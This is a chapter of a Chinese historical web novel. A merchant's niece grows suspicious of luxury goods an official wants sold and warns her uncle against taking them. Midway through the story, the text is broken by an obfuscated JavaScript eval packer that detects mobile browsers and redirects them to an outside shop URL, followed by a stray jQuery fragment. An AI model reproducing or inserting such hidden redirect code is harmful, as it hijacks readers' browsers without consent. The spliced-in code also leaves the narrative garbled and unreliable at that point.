唐照环故意嗔怒道:“这两个不省心的,肯定看我养病管不到他们,躲在客栈里偷懒。你待会儿出去找着他们,替我好好罚。”
唐鸿音哈哈一笑,正要应承,崔五郎在一旁笑了起来,笑声又轻又软,让人听着不舒服。
“唐小娘子不必动气,这事怪我没跟你说。
你那天不顾身子虚弱,硬要去客栈看你的伙计,公子知道了,怕你挂心,让我派人把他们两个也迁到县衙里来住了。
这几日他们一直住在偏院里,吃得好睡得好,比你养得还胖些呢。要不要叫人把他们也请过来见见?”
好吧,我不信赵燕直,他也不信我,我只是想把人撇出去,他更狠,连釜底抽薪的法子都使出来了,玩不过。
唐照环笑了笑:“不用了。知道他们没事,我就放心了。见了面,他们又要啰嗦个没完,吵得我头疼。”
她转向赵燕直,敛衽行了一礼:“公子想得周到,民女感激不尽。只是在这里叨扰了这么多天,实在过意不去。如今我叔也回来了,我不好再住在县衙里,等会儿就搬出去。”
她说这话的时候,语气自然,态度恭顺,挑不出半点毛病。崔五郎在一旁听着,脸上的笑意顿了一下,他看了赵燕直一眼,没有接话。
赵燕直放下手中镇纸,温声细语道:“你身子还没好透,医师回报我说还得再养几日。搬来搬去的,再着了风反倒麻烦,县衙里不缺你一间屋子。”
“好多了好多了,只要不再劳累,将养几日便无大碍。”唐照环从袖中摸出那个春日新竹的荷包,双手捧着,递到赵燕直面前,“您看,我都能绣荷包了。针脚粗糙,不值什么钱,只是一点心意,多谢您这些日子的照拂。”
赵燕直接过荷包,看了一眼。竹子纹样倒绣得好,比他见过的大绣坊都强。叶片的脉络清清楚楚,针脚匀净,配色雅致,一看便知下了狠功夫。
可他赵燕直像竹子么?虚怀若谷,中通外直,宁折不弯?他差点冷笑出声。
她夸他像竹,不太像不了解他,那么只能是讽刺他。他懒得做反应,将荷包随手搁在案上:“有心了。”
唐照环又从袖中摸出另一个冬日老竹的荷包,双手递给了王镇:“还请您莫要嫌弃。”
王镇接过,点了点头,眼神更温了几分:“多谢。”
唐照环转向崔五郎,致歉道:“对不住,我手生疏了,做得慢,只赶出了这两个,晚些我再做一个送您。”
崔五郎笑眯眯地摆了摆手:“不忙不忙,小娘子先把身子养好再说。”
赵燕直心想这丫头挺会做人,病没好透就开始做荷包送礼。只是她满口又是道谢又是客气的,估计没打什么好主意。
他忽略唐照环坚持搬客栈的请求,看向唐鸿音:“我有一桩生意想跟唐家做,不知唐十二郎有没有兴趣?”
唐鸿音一听生意二字,眼睛顿时亮了,拱手道:“能为公子办事,是唐家的荣幸,还请您细说。”
赵燕直朝崔五郎抬了抬下巴。
崔五郎会意,替他解说:“是这样的。岢岚军有一批库存,全是些奢侈物件。绫罗绸缎、珠宝玉器、香料药材,什么都有。
公子觉得这些东西奢侈太过,自己用不上,放在库里也落灰,想托唐家帮忙卖掉。得来的钱充到军库里,给将士们改善改善生活,也算公子的一番心意。”
“公子高义,唐某佩服。”唐鸿音顿了顿,有些为难道,“只是唐家小门小户,您说的这些倒也能卖,但销货能力有限。
能不能让我先看看货,再听听想卖什么价,心里有个数,才好替公子分忧。”
赵燕直点了点头:“你跟崔五郎去库房看看,自行商议便是。”
他站起身来往外走,王镇跟在后头,两人一前一后,转眼消失在了门外。
崔五郎做了个请的手势:“请随我来。库房在后面,不远。”
唐鸿音对唐照环低声道:“你身子还没好透,要不你别去了,在这儿歇着,我去看看就回来。”
唐照环不放心,摇头:“我跟你一起去。反正也躺了好几天了,走走也好。”
一行人穿过县衙的后院,走过一条长长的夹道,到了一排库房前。青砖砌的大屋子,没有窗户,只有一扇厚实的木门。
崔五郎掏出钥匙开了门,让人点亮了周围的灯,看清了全貌。
库房里面很大,边角单开了一片空地,码着整整齐齐四个大箱子。崔五郎让人开箱,亮给唐鸿音和唐照环看。
头一箱是各色绫罗绸锦,颜色鲜亮,纹样精美,都是能单摆在汴京大绸缎庄最高处的上好料子。
第二箱是香料,分装在一个个小瓷罐里,盖上贴着标签。打开来香气扑鼻,熏得人头晕。
第三箱是茶叶,团茶散茶都有,包装精美,一看便知是福建路贡品级别的货色。
第四箱是珠宝玉器,每一样都看花了人眼。
四箱里拿出任意一箱,都够寻常人家过一辈子。
唐鸿音看完货,意识到货价值不菲,郑重地问崔五郎:“这些货,公子想卖多少钱?”
崔五郎递给他一张单子,伸出五根手指:“五千贯。”
唐鸿音的眉头皱了起来。
这批货的确是好东西,但太过贵重,即使太原府的市面也吃不下。
若拉到汴京,再找万和祥撮合,卖个六千贯不成问题。
可问题是,从岚谷县到汴京有千里之远,运费、人工、路上的打点和给万和祥的佣金,再加上沿途的风险和损耗,一来一去,唐家大概率赚不到钱,还要倒贴。
但亏一笔钱,跟赵燕直打好关系,以后继续用他的路去火山军,倒也划算。
唐鸿音咬了咬牙,决定答应。
他正要开口应承,唐照环抢先开口:“我能问一句,这批货是从哪里来的吗?”
“这个嘛,公子没说,我也不好问。小娘子只管看货,问那么多做什么。”
唐照环回忆了一路,现在愈发确信,这批货是陈大官人带来的。
他当时在牢里说,自己带了好些东西来,都放在客栈里,有上好的绸缎,珠宝,药材和茶叶,值好几千贯,样样都对上了。
如此说来,赵燕直不止要了他一万贯的买命钱,还把他想卖给岢岚军的货全扣了,心够黑的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540812|201945||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
陈大官人在这里吃了这么大的亏,挨了打,关了牢,被饿了十天,又被灌了十天的春药,心里的恨不会少。
这批货若拉到了汴京,被他认出来,非得把气撒在唐家头上不可。
唐家一个做生意的普通外地商户,没有靠山,没有背景,惹不起陈大官人。
她伸手拉了拉唐鸿音的袖子,低声道:“你先别急着答应,咱们回去商量过再说。”
唐鸿音见她面色郑重,知她心里有事,点了点头,对崔五郎道:“能否容我回去想想,过两日再给公子回话?”
崔五郎也不勉强:“应该的,应该的。唐掌柜慢慢想,不着急。”
唐照环行了一礼,拽着唐鸿音的袖子往外走,脚步比来时快了许多,快得唐鸿音都跟不上了。
她只想快些离开这里,找个没人的地方,把真相说出来。
唐鸿音被她拽得踉跄,差点踩到她的鞋跟,只好左右叉开腿往前追,嘴里嘟囔:“环儿你慢些,你身子还没好透。”
唐照环把他拉到一处僻静地方,确认四下里无人,方才松开了手:“这批货不能接。”
“怎么了?你觉得价钱不合适,还是怕咱们卖不掉?我跟你说,那些货品相极好,拉到汴京去……”
“不是价钱的事。”唐照环打断他,又往他跟前凑了半步,“那批货来路不明。”
唐鸿音的眉头皱了起来。唐照环不是那种无的放矢的人,她既然说得这么笃定,一定有她的道理。
唐照环咬了咬唇,拼命斟酌措辞。
她不能说得太细,不能提陈大官人,不能提烟雨楼,更不能提牢里那些事。那些事她不想让唐鸿音知道,也不能让他知道。她只能从旁的地方找理由,一个听起来合情合理的理由。
“我在县衙养病的这些日子,侍女们来来去去的,有时会闲聊几句。我躺在床上,有一搭没一搭地听着,从她们的话里头,拼凑出些东西。
这批货很棘手,上面有特殊印记,寻常人不能用,一旦让外人看见就出事了,所以才这么急着出手。
赵公子他自己没有门路吗?岢岚军那么多人,随便找几个人拉到汴京去,不比找咱们一个洛阳的小商号强。
他找咱们,就因为咱们跟他没有瓜葛,出了事,查不到他头上。”
唐鸿音的脸色变了。他不是个笨人,在商场里摸爬滚打了这么多年,什么明枪暗箭没见过。
他只是被货的品相和赵燕直释放的好意迷了眼,没往深处想。如今唐照环这么一点,他已经听出了里头的分量。
“你听我的,这事不能接。赵公子那边我去说,你带着车队赶紧回洛阳。若他怪罪,都推到我身上便是。”
唐鸿音坚决摇头:“你说的什么话,我还能让你一个丫头去顶缸?!货咱们不接了,我现在就去找赵公子,把事回了。”
唐照环刚要松一口气,忽听见身后传来个熟悉声音:“回什么事?”
唐照环心中大喊不妙,和唐鸿音同时猛地转过头。
赵燕直站在不远处,王镇在他身侧像一堵墙,不言不语。他站的位置背光,面容隐在暗处,看不清表情。